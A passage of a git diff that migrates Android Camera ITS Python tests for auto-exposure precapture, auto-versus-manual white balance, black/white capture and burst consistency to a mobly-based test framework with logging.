-        manual_req['android.control.aeMode'] = 0 # Off
-        manual_reqs += [manual_req]*4
-        precap_req = its.objects.manual_capture_request(s,e)
-        precap_req['android.control.aeMode'] = 0 # Off
-        precap_req['android.control.aePrecaptureTrigger'] = 1 # Start
-        manual_reqs.append(precap_req)
-        caps = cam.do_capture(manual_reqs, fmt)
-        for cap in caps:
-            assert(cap['metadata']['android.control.aeState'] == INACTIVE)
+  def test_ae_precapture(self):
+    logging.debug('Starting %s', NAME)
+    logging.debug('AE_INACTIVE: %d', AE_INACTIVE)
+    logging.debug('AE_SEARCHING: %d', AE_SEARCHING)
+    logging.debug('AE_CONVERGED: %d', AE_CONVERGED)
+    logging.debug('AE_PRECAPTURE: %d', AE_PRECAPTURE)
 
-        # Capture an auto request and verify the AE state; no trigger.
-        auto_req = its.objects.auto_capture_request()
-        auto_req['android.control.aeMode'] = 1  # On
-        cap = cam.do_capture(auto_req, fmt)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+
+      # Check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props) and
+          camera_properties_utils.per_frame_control(props))
+
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
+
+      _, fmt = capture_request_utils.get_fastest_manual_capture_settings(props)
+
+      # Capture 5 manual requests with AE disabled and the last request
+      # has an AE precapture trigger (which should be ignored since AE is
+      # disabled).
+      logging.debug('Manual captures')
+      manual_reqs = []
+      e, s = target_exposure_utils.get_target_exposure_combos(
+          self.log_path, cam)['midExposureTime']
+      manual_req = capture_request_utils.manual_capture_request(s, e)
+      manual_req['android.control.aeMode'] = AE_INACTIVE
+      manual_reqs += [manual_req] * (FRAMES_AE_DISABLED-1)
+      precap_req = capture_request_utils.manual_capture_request(s, e)
+      precap_req['android.control.aeMode'] = AE_INACTIVE
+      precap_req['android.control.aePrecaptureTrigger'] = START_AE_PRECAP_TRIG
+      manual_reqs.append(precap_req)
+      caps = cam.do_capture(manual_reqs, fmt)
+      for i, cap in enumerate(caps):
         state = cap['metadata']['android.control.aeState']
-        print "AE state after auto request:", state
-        assert(state in [SEARCHING, CONVERGED])
+        msg = 'AE state after manual request %d: %d' % (i, state)
+        logging.debug('%s', msg)
+        e_msg = msg + ' AE_INACTIVE: %d' % AE_INACTIVE
+        assert state == AE_INACTIVE, e_msg
 
-        # Capture with auto request with a precapture trigger.
-        auto_req['android.control.aePrecaptureTrigger'] = 1  # Start
-        cap = cam.do_capture(auto_req, fmt)
-        state = cap['metadata']['android.control.aeState']
-        print "AE state after auto request with precapture trigger:", state
-        assert(state in [SEARCHING, CONVERGED, PRECAPTURE])
+      # Capture auto request and verify the AE state: no trigger.
+      logging.debug('Auto capture')
+      auto_req = capture_request_utils.auto_capture_request()
+      auto_req['android.control.aeMode'] = AE_SEARCHING
+      cap = cam.do_capture(auto_req, fmt)
+      state = cap['metadata']['android.control.aeState']
+      msg = 'AE state after auto request: %d' % state
+      logging.debug('%s', msg)
+      e_msg = msg + ' AE_SEARCHING: %d, AE_CONVERGED: %d' % (
+          AE_SEARCHING, AE_CONVERGED)
+      assert state in [AE_SEARCHING, AE_CONVERGED], e_msg
 
-        # Capture some more auto requests, and AE should converge.
-        auto_req['android.control.aePrecaptureTrigger'] = 0
-        for i in range(AE_CONVERGE_ITERATIONS):
-            caps = cam.do_capture([auto_req] * AE_FRAMES_PER_ITERATION, fmt)
-            state = caps[-1]['metadata']['android.control.aeState']
-            print "AE state after auto request:", state
-            if state == CONVERGED:
-                return
-        assert(state == CONVERGED)
+      # Capture auto request with a precapture trigger.
+      logging.debug('Auto capture with precapture trigger')
+      auto_req['android.control.aePrecaptureTrigger'] = START_AE_PRECAP_TRIG
+      cap = cam.do_capture(auto_req, fmt)
+      state = cap['metadata']['android.control.aeState']
+      msg = 'AE state after auto request with precapture trigger: %d' % state
+      logging.debug('%s', msg)
+      e_msg = msg + ' AE_SEARCHING: %d, AE_CONVERGED: %d, AE_PRECAPTURE: %d' % (
+          AE_SEARCHING, AE_CONVERGED, AE_PRECAPTURE)
+      assert state in [AE_SEARCHING, AE_CONVERGED, AE_PRECAPTURE], e_msg
+
+      # Capture some more auto requests, and AE should converge.
+      logging.debug('Additional auto captures')
+      auto_req['android.control.aePrecaptureTrigger'] = STOP_AE_PRECAP_TRIG
+      for _ in range(ITERATIONS_TO_CONVERGE):
+        caps = cam.do_capture([auto_req] * FRAMES_PER_ITERATION, fmt)
+        state = caps[-1]['metadata']['android.control.aeState']
+        msg = 'AE state after auto request: %d' % state
+        logging.debug('%s', msg)
+        if state == AE_CONVERGED:
+          return
+      e_msg = msg + ' AE_CONVERGED: %d' % AE_CONVERGED
+      assert state == AE_CONVERGED, e_msg
 
 if __name__ == '__main__':
-    main()
+  test_runner.main()
diff --git a/apps/CameraITS/tests/scene1_1/test_auto_vs_manual.py b/apps/CameraITS/tests/scene1_1/test_auto_vs_manual.py
index e5d33f3..72c791d 100644
--- a/apps/CameraITS/tests/scene1_1/test_auto_vs_manual.py
+++ b/apps/CameraITS/tests/scene1_1/test_auto_vs_manual.py
@@ -11,98 +11,135 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies auto and manual captures are similar with same scene."""
 
+
+import logging
 import math
 import os.path
-import its.caps
-import its.device
-import its.image
-import its.objects
+from mobly import test_runner
 import numpy as np
 
-NAME = os.path.basename(__file__).split(".")[0]
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+AWB_AUTO_ATOL = 0.10
+AWB_AUTO_RTOL = 0.25
+AWB_MANUAL_ATOL = 0.05
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+TONEMAP_GAMMA = sum([[t/63.0, math.pow(t/63.0, 1/2.2)] for t in range(64)], [])
 
 
-def main():
-    """Capture auto and manual shots that should look the same.
+def extract_awb_gains_and_xform(cap, cap_name, log_path):
+  """Extract the AWB transform and gains, save image, and log info.
 
-    Manual shots taken with just manual WB, and also with manual WB+tonemap.
+  Args:
+    cap: camera capture
+    cap_name: text string to identify cap type
+    log_path: location to save images
 
-    In all cases, the general color/look of the shots should be the same,
-    however there can be variations in brightness/contrast due to different
-    "auto" ISP blocks that may be disabled in the manual flows.
-    """
+  Returns:
+    awb_gains, awb_xform
+  """
+  img = image_processing_utils.convert_capture_to_rgb_image(cap)
+  image_processing_utils.write_image(img, '%s_%s.jpg' % (
+      os.path.join(log_path, NAME), cap_name))
+  awb_gains = cap['metadata']['android.colorCorrection.gains']
+  awb_xform = capture_request_utils.rational_to_float(
+      cap['metadata']['android.colorCorrection.transform'])
+  logging.debug('%s gains: %s', cap_name, str(awb_gains))
+  logging.debug('%s transform: %s', cap_name, str(awb_xform))
+  return awb_gains, awb_xform
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.read_3a(props) and
-                             its.caps.per_frame_control(props))
-        mono_camera = its.caps.mono_camera(props)
 
-        # Converge 3A and get the estimates.
-        debug = its.caps.debug_mode()
-        largest_yuv = its.objects.get_largest_yuv_format(props)
-        if debug:
-            fmt = largest_yuv
-        else:
-            match_ar = (largest_yuv["width"], largest_yuv["height"])
-            fmt = its.objects.get_smallest_yuv_format(props, match_ar=match_ar)
-        sens, exp, gains, xform, focus = cam.do_3a(get_results=True,
-                                                   mono_camera=mono_camera)
-        xform_rat = its.objects.float_to_rational(xform)
-        print "AE sensitivity %d, exposure %dms" % (sens, exp/1000000.0)
-        print "AWB gains", gains
-        print "AWB transform", xform
-        print "AF distance", focus
+class AutoVsManualTest(its_base_test.ItsBaseTest):
+  """Capture auto and manual shots that should look the same.
 
-        # Auto capture.
-        req = its.objects.auto_capture_request()
-        cap_auto = cam.do_capture(req, fmt)
-        img_auto = its.image.convert_capture_to_rgb_image(cap_auto)
-        its.image.write_image(img_auto, "%s_auto.jpg" % (NAME))
-        xform_a = its.objects.rational_to_float(
-                cap_auto["metadata"]["android.colorCorrection.transform"])
-        gains_a = cap_auto["metadata"]["android.colorCorrection.gains"]
-        print "Auto gains:", gains_a
-        print "Auto transform:", xform_a
+  Manual shots taken with just manual WB, and also with manual WB+tonemap.
 
-        # Manual capture 1: WB
-        req = its.objects.manual_capture_request(sens, exp, focus)
-        req["android.colorCorrection.transform"] = xform_rat
-        req["android.colorCorrection.gains"] = gains
-        cap_man1 = cam.do_capture(req, fmt)
-        img_man1 = its.image.convert_capture_to_rgb_image(cap_man1)
-        its.image.write_image(img_man1, "%s_manual_wb.jpg" % (NAME))
-        xform_m1 = its.objects.rational_to_float(
-                cap_man1["metadata"]["android.colorCorrection.transform"])
-        gains_m1 = cap_man1["metadata"]["android.colorCorrection.gains"]
-        print "Manual wb gains:", gains_m1
-        print "Manual wb transform:", xform_m1
+  In all cases, the general color/look of the shots should be the same,
+  however there can be variations in brightness/contrast due to different
+  'auto' ISP blocks that may be disabled in the manual flows.
+  """
 
-        # Manual capture 2: WB + tonemap
-        gamma = sum([[i/63.0, math.pow(i/63.0, 1/2.2)] for i in xrange(64)], [])
-        req["android.tonemap.mode"] = 0
-        req["android.tonemap.curve"] = {
-                "red": gamma, "green": gamma, "blue": gamma}
-        cap_man2 = cam.do_capture(req, fmt)
-        img_man2 = its.image.convert_capture_to_rgb_image(cap_man2)
-        its.image.write_image(img_man2, "%s_manual_wb_tm.jpg" % (NAME))
-        xform_m2 = its.objects.rational_to_float(
-                cap_man2["metadata"]["android.colorCorrection.transform"])
-        gains_m2 = cap_man2["metadata"]["android.colorCorrection.gains"]
-        print "Manual wb+tm gains:", gains_m2
-        print "Manual wb+tm transform:", xform_m2
+  def test_auto_vs_manual(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      mono_camera = camera_properties_utils.mono_camera(props)
+      log_path = self.log_path
 
-        # Check that the WB gains and transform reported in each capture
-        # result match with the original AWB estimate from do_3a.
-        for g, x in [(gains_m1, xform_m1), (gains_m2, xform_m2)]:
-            assert all([abs(xform[i] - x[i]) < 0.05 for i in range(9)])
-            assert all([abs(gains[i] - g[i]) < 0.05 for i in range(4)])
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.read_3a(props) and
+          camera_properties_utils.per_frame_control(props))
 
-        # Check that auto AWB settings are close
-        assert all([np.isclose(xform_a[i], xform[i], rtol=0.25, atol=0.1) for i in range(9)])
-        assert all([np.isclose(gains_a[i], gains[i], rtol=0.25, atol=0.1) for i in range(4)])
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
 
-if __name__ == "__main__":
-    main()
+      # Converge 3A and get the estimates
+      largest_yuv = capture_request_utils.get_largest_yuv_format(props)
+      match_ar = (largest_yuv['width'], largest_yuv['height'])
+      fmt = capture_request_utils.get_smallest_yuv_format(
+          props, match_ar=match_ar)
+      s, e, awb_gains, awb_xform, fd = cam.do_3a(get_results=True,
+                                                 mono_camera=mono_camera)
+      awb_xform_rat = capture_request_utils.float_to_rational(awb_xform)
+      logging.debug('AE sensitivity: %d, exposure: %dms', s, e/1000000.0)
+      logging.debug('AWB gains: %s', str(awb_gains))
+      logging.debug('AWB transform: %s', str(awb_xform))
+      logging.debug('AF distance: %.3f', fd)
+
+      # Auto capture
+      req = capture_request_utils.auto_capture_request()
+      cap_auto = cam.do_capture(req, fmt)
+      awb_gains_a, awb_xform_a = extract_awb_gains_and_xform(
+          cap_auto, 'auto', log_path)
+
+      # Manual capture 1: WB
+      req = capture_request_utils.manual_capture_request(s, e, fd)
+      req['android.colorCorrection.transform'] = awb_xform_rat
+      req['android.colorCorrection.gains'] = awb_gains
+      cap_man1 = cam.do_capture(req, fmt)
+      awb_gains_m1, awb_xform_m1 = extract_awb_gains_and_xform(
+          cap_man1, 'manual_wb', log_path)
+
+      # Manual capture 2: WB + tonemap
+      req['android.tonemap.mode'] = 0
+      req['android.tonemap.curve'] = {'red': TONEMAP_GAMMA,
+                                      'green': TONEMAP_GAMMA,
+                                      'blue': TONEMAP_GAMMA}
+      cap_man2 = cam.do_capture(req, fmt)
+      awb_gains_m2, awb_xform_m2 = extract_awb_gains_and_xform(
+          cap_man2, 'manual_wb_tm', log_path)
+
+      # Check AWB gains & transform in manual results match values from do_3a
+      for g, x in [(awb_gains_m1, awb_xform_m1), (awb_gains_m2, awb_xform_m2)]:
+        e_msg = 'awb_xform 3A: %s, manual: %s, ATOL=%.2f' % (
+            str(awb_xform), str(x), AWB_MANUAL_ATOL)
+        assert np.allclose(awb_xform, x, atol=AWB_MANUAL_ATOL, rtol=0), e_msg
+        e_msg = 'awb_gains 3A: %s, manual: %s, ATOL=%.2f' % (
+            str(awb_gains), str(g), AWB_MANUAL_ATOL)
+        assert np.allclose(awb_gains, g, atol=AWB_MANUAL_ATOL, rtol=0), e_msg
+
+      # Check AWB gains & transform in auto results match values from do_3a
+      e_msg = 'awb_xform 3A: %s, auto: %s, RTOL=%.2f, ATOL=%.2f' % (
+          str(awb_xform), str(awb_xform_a), AWB_AUTO_RTOL, AWB_AUTO_ATOL)
+      assert np.allclose(awb_xform_a, awb_xform, atol=AWB_AUTO_ATOL,
+                         rtol=AWB_AUTO_RTOL), e_msg
+      e_msg = 'awb_gains 3A: %s, auto: %s, RTOL=%.2f, ATOL=%.2f' % (
+          str(awb_gains), str(awb_gains_a), AWB_AUTO_RTOL, AWB_AUTO_ATOL)
+      assert np.allclose(awb_gains_a, awb_gains, atol=AWB_AUTO_ATOL,
+                         rtol=AWB_AUTO_RTOL), e_msg
+
+if __name__ == '__main__':
+  test_runner.main()
 
diff --git a/apps/CameraITS/tests/scene1_1/test_black_white.py b/apps/CameraITS/tests/scene1_1/test_black_white.py
index bd5f096..2421cc9 100644
--- a/apps/CameraITS/tests/scene1_1/test_black_white.py
+++ b/apps/CameraITS/tests/scene1_1/test_black_white.py
@@ -1,4 +1,4 @@
-# Copyright 2013 The Android Open Source Project
+# Copyright 2019 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
 # you may not use this file except in compliance with the License.
@@ -11,95 +11,148 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies camera will produce full black & full white images."""
 
+
+import logging
 import os.path
-
-import its.caps
-import its.device
-import its.image
-import its.objects
 import matplotlib
 from matplotlib import pylab
 
-NAME = os.path.basename(__file__).split(".")[0]
+
+from mobly import test_runner
+import numpy as np
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+
+CH_FULL_SCALE = 255
+CH_THRESH_BLACK = 6
+CH_THRESH_WHITE = CH_FULL_SCALE - 6
+CH_TOL_WHITE = 2
+COLOR_PLANES = ['R', 'G', 'B']
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+PATCH_H = 0.1
+PATCH_W = 0.1
+PATCH_X = 0.45
+PATCH_Y = 0.45
+VGA_WIDTH, VGA_HEIGHT = 640, 480
 
 
-def main():
-    """Test that the device will produce full black+white images."""
+def do_img_capture(cam, s, e, fmt, latency, cap_name, log_path):
+  """Do the image captures with the defined parameters.
 
+  Args:
+    cam: its_session open for camera
+    s: sensitivity for request
+    e: exposure in ns for request
+    fmt: format of request
+    latency: number of frames for sync latency of request
+    cap_name: string to define the capture
+    log_path: path for plot directory
+
+  Returns:
+    means values of center patch from capture
+  """
+
+  req = capture_request_utils.manual_capture_request(s, e)
+  cap = its_session_utils.do_capture_with_latency(cam, req, latency, fmt)
+  img = image_processing_utils.convert_capture_to_rgb_image(cap)
+  image_processing_utils.write_image(
+      img, '%s_%s.jpg' % (os.path.join(log_path, NAME), cap_name))
+  patch = image_processing_utils.get_image_patch(
+      img, PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+  means = image_processing_utils.compute_image_means(patch)
+  means = [m * CH_FULL_SCALE for m in means]
+  logging.debug('%s pixel means: %s', cap_name, str(means))
+  r_exp = cap['metadata']['android.sensor.exposureTime']
+  r_iso = cap['metadata']['android.sensor.sensitivity']
+  logging.debug('%s shot write values: sens = %d, exp time = %.4fms',
+                cap_name, s, (e / 1000000.0))
+  logging.debug('%s shot read values: sens = %d, exp time = %.4fms',
+                cap_name, r_iso, (r_exp / 1000000.0))
+  return means
+
+
+class BlackWhiteTest(its_base_test.ItsBaseTest):
+  """Test that device will prodoce full black + white images.
+  """
+
+  def test_black_white(self):
     r_means = []
     g_means = []
     b_means = []
 
-    with its.device.ItsSession() as cam:
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.manual_sensor(props))
-        sync_latency = its.caps.sync_latency(props)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
 
-        debug = its.caps.debug_mode()
-        largest_yuv = its.objects.get_largest_yuv_format(props)
-        if debug:
-            fmt = largest_yuv
-        else:
-            match_ar = (largest_yuv["width"], largest_yuv["height"])
-            fmt = its.objects.get_smallest_yuv_format(props, match_ar=match_ar)
+      # Check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.manual_sensor(props))
 
-        expt_range = props["android.sensor.info.exposureTimeRange"]
-        sens_range = props["android.sensor.info.sensitivityRange"]
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
 
-        # Take a shot with very low ISO and exposure time. Expect it to
-        # be black.
-        req = its.objects.manual_capture_request(sens_range[0], expt_range[0])
-        cap = its.device.do_capture_with_latency(cam, req, sync_latency, fmt)
-        img = its.image.convert_capture_to_rgb_image(cap)
-        its.image.write_image(img, "%s_black.jpg" % NAME)
-        tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
-        black_means = its.image.compute_image_means(tile)
-        r_means.append(black_means[0])
-        g_means.append(black_means[1])
-        b_means.append(black_means[2])
-        print "Dark pixel means:", black_means
-        r_exp = cap["metadata"]["android.sensor.exposureTime"]
-        r_iso = cap["metadata"]["android.sensor.sensitivity"]
-        print "Black shot write values: sens = %d, exp time = %.4fms" % (
-                sens_range[0], expt_range[0]/1000000.0)
-        print "Black shot read values: sens = %d, exp time = %.4fms\n" % (
-                r_iso, r_exp/1000000.0)
+      # Initialize params for requests
+      latency = camera_properties_utils.sync_latency(props)
+      fmt = {'format': 'yuv', 'width': VGA_WIDTH, 'height': VGA_HEIGHT}
+      expt_range = props['android.sensor.info.exposureTimeRange']
+      sens_range = props['android.sensor.info.sensitivityRange']
+      log_path = self.log_path
 
-        # Take a shot with very high ISO and exposure time. Expect it to
-        # be white.
-        req = its.objects.manual_capture_request(sens_range[1], expt_range[1])
-        cap = its.device.do_capture_with_latency(cam, req, sync_latency, fmt)
-        img = its.image.convert_capture_to_rgb_image(cap)
-        its.image.write_image(img, "%s_white.jpg" % NAME)
-        tile = its.image.get_image_patch(img, 0.45, 0.45, 0.1, 0.1)
-        white_means = its.image.compute_image_means(tile)
-        r_means.append(white_means[0])
-        g_means.append(white_means[1])
-        b_means.append(white_means[2])
-        print "Bright pixel means:", white_means
-        r_exp = cap["metadata"]["android.sensor.exposureTime"]
-        r_iso = cap["metadata"]["android.sensor.sensitivity"]
-        print "White shot write values: sens = %d, exp time = %.2fms" % (
-                sens_range[1], expt_range[1]/1000000.0)
-        print "White shot read values: sens = %d, exp time = %.2fms\n" % (
-                r_iso, r_exp/1000000.0)
+      # Take shot with very low ISO and exp time: expect it to be black
+      s = sens_range[0]
+      e = expt_range[0]
+      black_means = do_img_capture(cam, s, e, fmt, latency, 'black', log_path)
+      r_means.append(black_means[0])
+      g_means.append(black_means[1])
+      b_means.append(black_means[2])
 
-        # Draw a plot.
-        pylab.title("test_black_white")
-        pylab.plot([0, 1], r_means, "-ro")
-        pylab.plot([0, 1], g_means, "-go")
-        pylab.plot([0, 1], b_means, "-bo")
-        pylab.xlabel("Capture Number")
-        pylab.ylabel("Output Values (Normalized)")
-        pylab.ylim([0, 1])
-        matplotlib.pyplot.savefig("%s_plot_means.png" % (NAME))
+      # Take shot with very high ISO and exp time: expect it to be white.
+      s = sens_range[1]
+      e = expt_range[1]
+      white_means = do_img_capture(cam, s, e, fmt, latency, 'white', log_path)
+      r_means.append(white_means[0])
+      g_means.append(white_means[1])
+      b_means.append(white_means[2])
 
-        for black_mean in black_means:
-            assert black_mean < 0.025
-        for white_mean in white_means:
-            assert white_mean > 0.975
+      # Draw plot
+      pylab.title('test_black_white')
+      pylab.plot([0, 1], r_means, '-ro')
+      pylab.plot([0, 1], g_means, '-go')
+      pylab.plot([0, 1], b_means, '-bo')
+      pylab.xlabel('Capture Number')
+      pylab.ylabel('Output Values [0:255]')
+      pylab.ylim([0, 255])
+      matplotlib.pyplot.savefig('%s_plot_means.png' % (
+          os.path.join(log_path, NAME)))
 
-if __name__ == "__main__":
-    main()
+      # Assert blacks below CH_THRESH_BLACK
+      for ch, mean in enumerate(black_means):
+        e_msg = '%s black: %.1f, THRESH: %.f' % (
+            COLOR_PLANES[ch], mean, CH_THRESH_BLACK)
+        assert mean < CH_THRESH_BLACK, e_msg
+
+      # Assert whites above CH_THRESH_WHITE
+      for ch, mean in enumerate(white_means):
+        e_msg = '%s white: %.1f, THRESH: %.f' % (
+            COLOR_PLANES[ch], mean, CH_THRESH_WHITE)
+        assert mean > CH_THRESH_WHITE, e_msg
+
+      # Assert channels saturate evenly (was test_channel_saturation)
+      e_msg = 'ch saturation not equal! RGB: %s, ATOL: %.f' % (
+          str(white_means), CH_TOL_WHITE)
+      assert np.isclose(
+          np.amin(white_means), np.amax(white_means), atol=CH_TOL_WHITE), e_msg
+
+if __name__ == '__main__':
+  test_runner.main()
 
diff --git a/apps/CameraITS/tests/scene1_1/test_burst_sameness_manual.py b/apps/CameraITS/tests/scene1_1/test_burst_sameness_manual.py
index c82039f..b43067c 100644
--- a/apps/CameraITS/tests/scene1_1/test_burst_sameness_manual.py
+++ b/apps/CameraITS/tests/scene1_1/test_burst_sameness_manual.py
@@ -11,101 +11,128 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+"""Verifies manual burst capture consistency."""
 
+
+import logging
 import os.path
-import its.caps
-import its.device
-import its.image
-import its.objects
-import its.target
-
 from matplotlib import pylab
 import matplotlib.pyplot
-import numpy
+from mobly import test_runner
+import numpy as np
+
+import its_base_test
+import camera_properties_utils
+import capture_request_utils
+import image_processing_utils
+import its_session_utils
+import target_exposure_utils
 
 API_LEVEL_30 = 30
 BURST_LEN = 50
-BURSTS = 5
-COLORS = ["R", "G", "B"]
-FRAMES = BURST_LEN * BURSTS
-NAME = os.path.basename(__file__).split(".")[0]
+COLORS = ['R', 'G', 'B']
+NAME = os.path.splitext(os.path.basename(__file__))[0]
+NUM_BURSTS = 5
+PATCH_H = 0.1  # center 10%
+PATCH_W = 0.1
+PATCH_X = 0.5 - PATCH_W/2
+PATCH_Y = 0.5 - PATCH_H/2
 SPREAD_THRESH = 0.03
 SPREAD_THRESH_API_LEVEL_30 = 0.02
 
+NUM_FRAMES = BURST_LEN * NUM_BURSTS
 
-def main():
-    """Take long bursts of images and check that they're all identical.
 
-    Assumes a static scene. Can be used to idenfity if there are sporadic
-    frames that are processed differently or have artifacts. Uses manual
-    capture settings.
-    """
+class BurstSamenessManualTest(its_base_test.ItsBaseTest):
+  """Take long bursts of images and check that they're all identical.
 
-    with its.device.ItsSession() as cam:
+  Assumes a static scene. Can be used to idenfity if there are sporadic
+  frames that are processed differently or have artifacts. Uses manual
+  capture settings.
+  """
 
-        # Capture at the smallest resolution.
-        props = cam.get_camera_properties()
-        its.caps.skip_unless(its.caps.compute_target_exposure(props) and
-                             its.caps.per_frame_control(props))
-        debug = its.caps.debug_mode()
+  def test_burst_sameness_manual(self):
+    logging.debug('Starting %s', NAME)
+    with its_session_utils.ItsSession(
+        device_id=self.dut.serial,
+        camera_id=self.camera_id,
+        hidden_physical_id=self.hidden_physical_id) as cam:
+      props = cam.get_camera_properties()
+      props = cam.override_with_hidden_physical_camera_props(props)
+      log_path = self.log_path
 
-        _, fmt = its.objects.get_fastest_manual_capture_settings(props)
-        e, s = its.target.get_target_exposure_combos(cam)["minSensitivity"]
-        req = its.objects.manual_capture_request(s, e)
-        w, h = fmt["width"], fmt["height"]
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          camera_properties_utils.compute_target_exposure(props) and
+          camera_properties_utils.per_frame_control(props))
 
-        # Capture bursts of YUV shots.
-        # Get the mean values of a center patch for each.
-        # Also build a 4D array, which is an array of all RGB images.
-        r_means = []
-        g_means = []
-        b_means = []
-        imgs = numpy.empty([FRAMES, h, w, 3])
-        for j in range(BURSTS):
-            caps = cam.do_capture([req]*BURST_LEN, [fmt])
-            for i, cap in enumerate(caps):
-                n = j*BURST_LEN + i
-                imgs[n] = its.image.convert_capture_to_rgb_image(cap)
-                tile = its.image.get_image_patch(imgs[n], 0.45, 0.45, 0.1, 0.1)
-                means = its.image.compute_image_means(tile)
-                r_means.append(means[0])
-                g_means.append(means[1])
-                b_means.append(means[2])
+      # Load chart for scene
+      its_session_utils.load_scene(
+          cam, props, self.scene, self.tablet, self.chart_distance)
 
-        # Dump all images if debug
-        if debug:
-            print "Dumping images"
-            for i in range(FRAMES):
-                its.image.write_image(imgs[i], "%s_frame%03d.jpg"%(NAME, i))
+      # Capture at the smallest resolution
+      _, fmt = capture_request_utils.get_fastest_manual_capture_settings(props)
+      e, s = target_exposure_utils.get_target_exposure_combos(
+          log_path, cam)['minSensitivity']
+      req = capture_request_utils.manual_capture_request(s, e)
+      w, h = fmt['width'], fmt['height']
 
-        # The mean image.
-        img_mean = imgs.mean(0)
-        its.image.write_image(img_mean, "%s_mean.jpg"%(NAME))
+      # Capture bursts of YUV shots.
+      # Get the mean values of a center patch for each.
+      # Also build a 4D array, imgs, which is an array of all RGB images.
+      r_means = []
+      g_means = []
+      b_means = []
+      imgs = np.empty([NUM_FRAMES, h, w, 3])
+      for j in range(NUM_BURSTS):
+        caps = cam.do_capture([req]*BURST_LEN, [fmt])
+        for i, cap in enumerate(caps):
+          n = j*BURST_LEN + i
+          imgs[n] = image_processing_utils.convert_capture_to_rgb_image(cap)
+          patch = image_processing_utils.get_image_patch(
+              imgs[n], PATCH_X, PATCH_Y, PATCH_W, PATCH_H)
+          means = image_processing_utils.compute_image_means(patch)
+          r_means.append(means[0])
+          g_means.append(means[1])
+          b_means.append(means[2])
 
-        # Plot means vs frames
-        frames = range(FRAMES)
-        pylab.title(NAME)
-        pylab.plot(frames, r_means, "-ro")
-        pylab.plot(frames, g_means, "-go")
-        pylab.plot(frames, b_means, "-bo")
-        pylab.ylim([0, 1])
-        pylab.xlabel("frame number")
-        pylab.ylabel("RGB avg [0, 1]")
-        matplotlib.pyplot.savefig("%s_plot_means.png" % (NAME))
+      # Save first frame for setup debug
+      image_processing_utils.write_image(
+          imgs[0], '%s_frame000.jpg' % os.path.join(log_path, NAME))
 
-        # determine spread_thresh
-        spread_thresh = SPREAD_THRESH
-        if its.device.get_first_api_level() >= API_LEVEL_30:
-            spread_thresh = SPREAD_THRESH_API_LEVEL_30
+      # Save all frames if debug
+      if self.debug_mode:
+        logging.debug('Dumping all images')
+        for i in range(1, NUM_FRAMES):
+          image_processing_utils.write_image(
+              imgs[i], '%s_frame%03d.jpg'%(os.path.join(log_path, NAME), i))
 
-        # PASS/FAIL based on center patch similarity.
-        for plane, means in enumerate([r_means, g_means, b_means]):
-            spread = max(means) - min(means)
-            msg = "%s spread: %.5f, spread_thresh: %.3f" % (
-                    COLORS[plane], spread, spread_thresh)
-            print msg
-            assert spread < spread_thresh, msg
+      # Plot RGB means vs frames
+      frames = range(NUM_FRAMES)
+      pylab.figure(NAME)
+      pylab.title(NAME)
+      pylab.plot(frames, r_means, '-ro')
+      pylab.plot(frames, g_means, '-go')
+      pylab.plot(frames, b_means, '-bo')
+      pylab.ylim([0, 1])
+      pylab.xlabel('frame number')
+      pylab.ylabel('RGB avg [0, 1]')
+      matplotlib.pyplot.savefig(
+          '%s_plot_means.png' % os.path.join(log_path, NAME))
 
-if __name__ == "__main__":
-    main()
+      # determine spread_thresh
+      spread_thresh = SPREAD_THRESH
+      if its_session_utils.get_first_api_level(self.dut.serial) >= API_LEVEL_30:
+        spread_thresh = SPREAD_THRESH_API_LEVEL_30
+
+      # PASS/FAIL based on center patch similarity.
+      for plane, means in enumerate([r_means, g_means, b_means]):
+        spread = max(means) - min(means)
+        msg = '%s spread: %.5f, spread_thresh: %.2f' % (
+            COLORS[plane], spread, spread_thresh)
+        logging.debug('%s', msg)
+        assert spread < spread_thresh, msg
+
+if __name__ == '__main__':
+  test_runner.main()
 
diff --git a/apps/CameraITS/tests/scene1_1/test_capture_result.py b/apps/CameraITS/tests/scene1_1/test_capture_result.py
index 19d0145..73dfe5a 100644
--- a/apps/CameraITS/tests/scene1_1/test_capture_result.py
+++ b/apps/CameraITS/tests/scene1_1/test_capture_result.py
@@ -11,227 +11,241 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
